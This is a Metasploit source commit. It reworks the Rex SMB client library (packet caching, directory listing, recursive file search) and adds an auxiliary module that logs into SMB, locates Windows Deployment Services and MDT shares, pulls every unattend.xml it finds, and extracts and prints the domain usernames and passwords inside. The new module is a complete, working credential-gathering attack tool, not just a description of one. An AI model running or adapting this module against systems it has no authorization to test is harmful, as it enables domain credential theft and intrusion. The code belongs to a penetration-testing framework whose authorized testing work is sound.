SMB lib fixes, unattend.xml cred gathering

bug/bundler_fix
HD Moore 2014-06-23 20:08:42 -05:00
commit 002234993f
No known key found for this signature in database
GPG Key ID: 22015B93FA604913
3 changed files with 449 additions and 98 deletions

View File

@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
packet.v['ProcessID'] = self.process_id.to_i
end
# The main dispatcher for all incoming SMB packets
def smb_recv_parse(expected_type, ignore_errors = false)
# Receive a full SMB reply and cache the parsed packet
def smb_recv_and_cache
@smb_recv_cache ||= []
# This will throw an exception if it fails to read the whole packet
data = self.smb_recv
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(data)
res = pkt
# Store the received packet into the cache
@smb_recv_cache << [ pkt, data, Time.now ]
end
# Scan the packet receive cache for a matching response
def smb_recv_cache_find_match(expected_type)
clean = []
found = nil
@smb_recv_cache.each do |cent|
pkt, data, tstamp = cent
# Return matching packets and mark for removal
if pkt['Payload']['SMB'].v['Command'] == expected_type
found = [pkt,data]
clean << cent
end
# Purge any packets older than 5 minutes
if Time.now.to_i - tstamp.to_i > 300
clean << cent
end
break if found
end
clean.each do |cent|
@smb_recv_cache.delete(cent)
end
found
end
# The main dispatcher for all incoming SMB packets
def smb_recv_parse(expected_type, ignore_errors = false)
pkt = nil
data = nil
# This allows for some leeway when a previous response has not
# been processed but a new request was sent. The old response
# will eventually be timed out of the cache.
1.upto(3) do |attempt|
smb_recv_and_cache
pkt,data = smb_recv_cache_find_match(expected_type)
break if pkt
end
begin
case pkt['Payload']['SMB'].v['Command']
when CONST::SMB_COM_NEGOTIATE
res = smb_parse_negotiate(pkt, data)
res = smb_parse_negotiate(pkt, data)
when CONST::SMB_COM_SESSION_SETUP_ANDX
res = smb_parse_session_setup(pkt, data)
res = smb_parse_session_setup(pkt, data)
when CONST::SMB_COM_TREE_CONNECT_ANDX
res = smb_parse_tree_connect(pkt, data)
res = smb_parse_tree_connect(pkt, data)
when CONST::SMB_COM_TREE_DISCONNECT
res = smb_parse_tree_disconnect(pkt, data)
res = smb_parse_tree_disconnect(pkt, data)
when CONST::SMB_COM_NT_CREATE_ANDX
res = smb_parse_create(pkt, data)
res = smb_parse_create(pkt, data)
when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2
res = smb_parse_trans(pkt, data)
res = smb_parse_trans(pkt, data)
when CONST::SMB_COM_NT_TRANSACT
res = smb_parse_nttrans(pkt, data)
res = smb_parse_nttrans(pkt, data)
when CONST::SMB_COM_NT_TRANSACT_SECONDARY
res = smb_parse_nttrans(pkt, data)
res = smb_parse_nttrans(pkt, data)
when CONST::SMB_COM_OPEN_ANDX
res = smb_parse_open(pkt, data)
res = smb_parse_open(pkt, data)
when CONST::SMB_COM_WRITE_ANDX
res = smb_parse_write(pkt, data)
res = smb_parse_write(pkt, data)
when CONST::SMB_COM_READ_ANDX
res = smb_parse_read(pkt, data)
res = smb_parse_read(pkt, data)
when CONST::SMB_COM_CLOSE
res = smb_parse_close(pkt, data)
res = smb_parse_close(pkt, data)
when CONST::SMB_COM_DELETE
res = smb_parse_delete(pkt, data)
res = smb_parse_delete(pkt, data)
else
raise XCEPT::InvalidCommand
end
if (pkt['Payload']['SMB'].v['Command'] != expected_type)
raise XCEPT::InvalidType
end
if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0)
raise XCEPT::ErrorCode
end
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode
rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode
$!.word_count = pkt['Payload']['SMB'].v['WordCount']
$!.command = pkt['Payload']['SMB'].v['Command']
$!.error_code = pkt['Payload']['SMB'].v['ErrorClass']
@ -1837,88 +1881,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
0, # Storage type is zero
].pack('vvvvV') + path + "\x00"
begin
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
search_next = 0
begin
pcnt = resp['Payload'].v['ParamCount']
dcnt = resp['Payload'].v['DataCount']
poff = resp['Payload'].v['ParamOffset']
doff = resp['Payload'].v['DataOffset']
resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '')
search_next = 0
# Get the raw packet bytes
resp_rpkt = resp.to_s
# Loop until we run out of results
loop do
pcnt = resp['Payload'].v['ParamCount']
dcnt = resp['Payload'].v['DataCount']
poff = resp['Payload'].v['ParamOffset']
doff = resp['Payload'].v['DataOffset']
# Remove the NetBIOS header
resp_rpkt.slice!(0, 4)
# Get the raw packet bytes
resp_rpkt = resp.to_s
resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt]
# Remove the NetBIOS header
resp_rpkt.slice!(0, 4)
if search_next == 0
# search id, search count, end of search, error offset, last name offset
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
else
# FINX_NEXT doesn't return a SID
scnt, eos, eoff, loff = resp_parm.unpack('v4')
end
didx = 0
while (didx < resp_data.length)
info_buff = resp_data[didx, 70]
break if info_buff.length != 70
info = info_buff.unpack(
'V'+ # Next Entry Offset
'V'+ # File Index
'VV'+ # Time Create
'VV'+ # Time Last Access
'VV'+ # Time Last Write
'VV'+ # Time Change
'VV'+ # End of File
'VV'+ # Allocation Size
'V'+ # File Attributes
'V'+ # File Name Length
'V'+ # Extended Attr List Length
'C'+ # Short File Name Length
'C' # Reserved
)
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
files[name] =
{
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
'attr' => info[14],
'info' => info
}
resp_parm = resp_rpkt[poff, pcnt]
resp_data = resp_rpkt[doff, dcnt]
break if info[0] == 0
didx += info[0]
end
last_search_id = sid
last_offset = loff
last_filename = name
if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
resp = find_next(last_search_id, last_offset, last_filename)
search_next = 1 # Flip bit so response params will parse correctly
end
end until eos != 0 or last_offset == 0
rescue ::Exception
raise $!
if search_next == 0
# search id, search count, end of search, error offset, last name offset
sid, scnt, eos, eoff, loff = resp_parm.unpack('v5')
else
# FIND_NEXT doesn't return a SID
scnt, eos, eoff, loff = resp_parm.unpack('v4')
end
didx = 0
while (didx < resp_data.length)
info_buff = resp_data[didx, 70]
break if info_buff.length != 70
info = info_buff.unpack(
'V'+ # Next Entry Offset
'V'+ # File Index
'VV'+ # Time Create
'VV'+ # Time Last Access
'VV'+ # Time Last Write
'VV'+ # Time Change
'VV'+ # End of File
'VV'+ # Allocation Size
'V'+ # File Attributes
'V'+ # File Name Length
'V'+ # Extended Attr List Length
'C'+ # Short File Name Length
'C' # Reserved
)
name = resp_data[didx + 70 + 24, info[15]]
# Verify that the filename was actually present
break unless name
# Key the file list minus any trailing nulls
files[name.sub(/\x00+$/n, '')] =
{
'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D',
'attr' => info[14],
'info' => info
}
break if info[0] == 0
didx += info[0]
end
last_search_id = sid
last_offset = loff
last_filename = name
# Exit the search if we reached the end of our results
break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0)
# If we aren't at the end of the search, run find_next
resp = find_next(last_search_id, last_offset, last_filename)
# Flip bit so response params will parse correctly
search_next = 1
end
return files
files
end
# Supplements find_first if file/dir count exceeds max search count
def find_next(sid, resume_key, last_filename)
parm = [
sid, # Search ID
20, # Maximum search count (Size of 20 keeps response to 1 packet)
260, # Level of interest
resume_key, # Resume key from previous (Last name offset)
6, # Close search if end of search
].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next
resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function
sid, # Search ID
20, # Maximum search count (Size of 20 keeps response to 1 packet)
260, # Level of interest
resume_key, # Resume key from previous (Last name offset)
6, # Close search if end of search
].pack('vvvVv') +
last_filename.to_s + # Last filename returned from find_first or find_next
"\x00" # Terminate the file name
# Returns the FIND_NEXT2 response packet for parsing by the find_first function
trans2(CONST::TRANS2_FIND_NEXT2, parm, '')
end
# Recursively search for files matching a regular expression
def file_search(current_path, regex, depth)
depth -= 1
return [] if depth < 0
results = find_first(current_path + "*")
files = []
results.each_pair do |fname, finfo|
# Skip current and parent directory results
next if %W{. ..}.include?(fname)
# Verify the results contain an attribute
next unless finfo and finfo['attr']
if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0
# Add any matching files to our result set
files << "#{current_path}#{fname}" if fname =~ regex
else
# Recurse into the discovery subdirectory for more files
begin
search_path = "#{current_path}#{fname}\\"
file_search(search_path, regex, depth).each {|fn| files << fn }
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
# Ignore common errors related to permissions and non-files
if %W{
STATUS_ACCESS_DENIED
STATUS_NO_SUCH_FILE
STATUS_OBJECT_NAME_NOT_FOUND
STATUS_OBJECT_PATH_NOT_FOUND
}.include? e.get_error(e.error_code)
next
end
$stderr.puts [e, e.get_error(e.error_code), search_path]
raise e
end
end
end
files.uniq
end
# Creates a new directory on the mounted tree
@ -1931,9 +2037,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
# public read/write methods
attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts
attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm
attr_accessor :system_time, :system_zone
#misc
attr_accessor :spnopt # used for SPN
attr_accessor :system_time, :system_zone
attr_accessor :spnopt
# public read methods
attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
@ -1941,21 +2046,18 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
attr_reader :dns_host_name, :dns_domain_name
attr_reader :security_mode, :server_guid
#signing related
attr_reader :sequence_counter,:signing_key, :require_signing
# private methods
# private write methods
attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os
attr_writer :default_domain, :default_name, :auth_user, :auth_user_id
attr_writer :dns_host_name, :dns_domain_name
attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id
attr_writer :security_mode, :server_guid
#signing related
attr_writer :sequence_counter,:signing_key, :require_signing
attr_accessor :socket
end
end
end

View File

@ -261,6 +261,23 @@ FILE_FILE_COMPRESSION = 0x00000008
FILE_VOLUME_QUOTAS = 0x00000010
FILE_VOLUME_IS_COMPRESSED = 0x00008000
# SMB_EXT_FILE_ATTR
# http://msdn.microsoft.com/en-us/library/ee878573(prot.20).aspx
SMB_EXT_FILE_ATTR_READONLY = 0x00000001
SMB_EXT_FILE_ATTR_HIDDEN = 0x00000002
SMB_EXT_FILE_ATTR_SYSTEM = 0x00000004
SMB_EXT_FILE_ATTR_DIRECTORY = 0x00000010
SMB_EXT_FILE_ATTR_ARCHIVE = 0x00000020
SMB_EXT_FILE_ATTR_NORMAL = 0x00000080
SMB_EXT_FILE_ATTR_TEMPORARY = 0x00000100
SMB_EXT_FILE_ATTR_COMPRESSED = 0x00000800
SMB_EXT_FILE_POSIX_SEMANTICS = 0x01000000
SMB_EXT_FILE_BACKUP_SEMANTICS = 0x02000000
SMB_EXT_FILE_DELETE_ON_CLOSE = 0x04000000
SMB_EXT_FILE_SEQUENTIAL_SCAN = 0x08000000
SMB_EXT_FILE_RANDOM_ACCESS = 0x10000000
SMB_EXT_FILE_NO_BUFFERING = 0x20000000
SMB_EXT_FILE_WRITE_THROUGH = 0x80000000
# SMB Error Codes
SMB_STATUS_SUCCESS = 0x00000000

View File

@ -0,0 +1,232 @@
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dcerpc'
require 'rex/parser/unattend'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Exploit::Remote::DCERPC
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
'Description' => %q{
This module will search remote file shares for unattended installation files that may contain
domain credentials. This is often used after discovering domain credentials with the
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
have domain credentials. This module will connect to the RemInst share and any Microsoft
Deployment Toolkit shares indicated by the share name comments.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'MSDN', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'],
],
))
register_options(
[
Opt::RPORT(445),
OptString.new('SMBDomain', [ false, "SMB Domain", '']),
], self.class)
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
end
# Determine the type of share based on an ID type value
def share_type(val)
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
stypes[val] || 'UNKNOWN'
end
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
def srvsvc_netshareenum
shares = []
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{rhost} : #{e.message}")
return
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << [0xffffffff].pack("V")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
# Additional error handling and validation needs to occur before
# this code can be moved into a mixin
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
end
# Level, CTR header, Reference ID of CTR
res.slice!(0,12)
share_count = res.slice!(0, 4).unpack("V")[0]
# Reference ID of CTR1
res.slice!(0,4)
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
end
if length != max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
end
name = res.slice!(0, 2 * length)
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
if comment_offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
end
if comment_length != comment_max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
shares << [ name, share_type(types[t]), comment]
end
shares
end
def run_host(ip)
deploy_shares = []
begin
connect
smb_login
srvsvc_netshareenum.each do |share|
# Ghetto unicode to ascii conversation
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
share_type = share[1]
if share_type == "DISK" && (share_name == "REMINST" || share_comm == "MDT Deployment Share")
vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
deploy_shares << share_name
end
end
deploy_shares.each do |deploy_share|
query_share(deploy_share)
end
rescue ::Interrupt
raise $!
end
end
def query_share(share)
share_path = "\\\\#{rhost}\\#{share}"
vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
begin
simple.connect(share_path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
return
end
results = simple.client.file_search("\\", /unattend.xml$/i, 10)
results.each do |file_path|
file = simple.open(file_path, 'o').read()
next unless file
loot_unattend(file)
creds = parse_client_unattend(file)
creds.each do |cred|
next unless (cred && cred['username'] && cred['password'])
next unless cred['username'].to_s.length > 0
next unless cred['password'].to_s.length > 0
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
print_good("#{rhost}:#{rport} Credentials: " +
"Path=#{share_path}#{file_path} " +
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
"Password=#{cred['password'].to_s}"
)
end
end
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
Rex::Parser::Unattend.parse(xml).flatten
end
def loot_unattend(data)
return if data.empty?
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass
)
end
end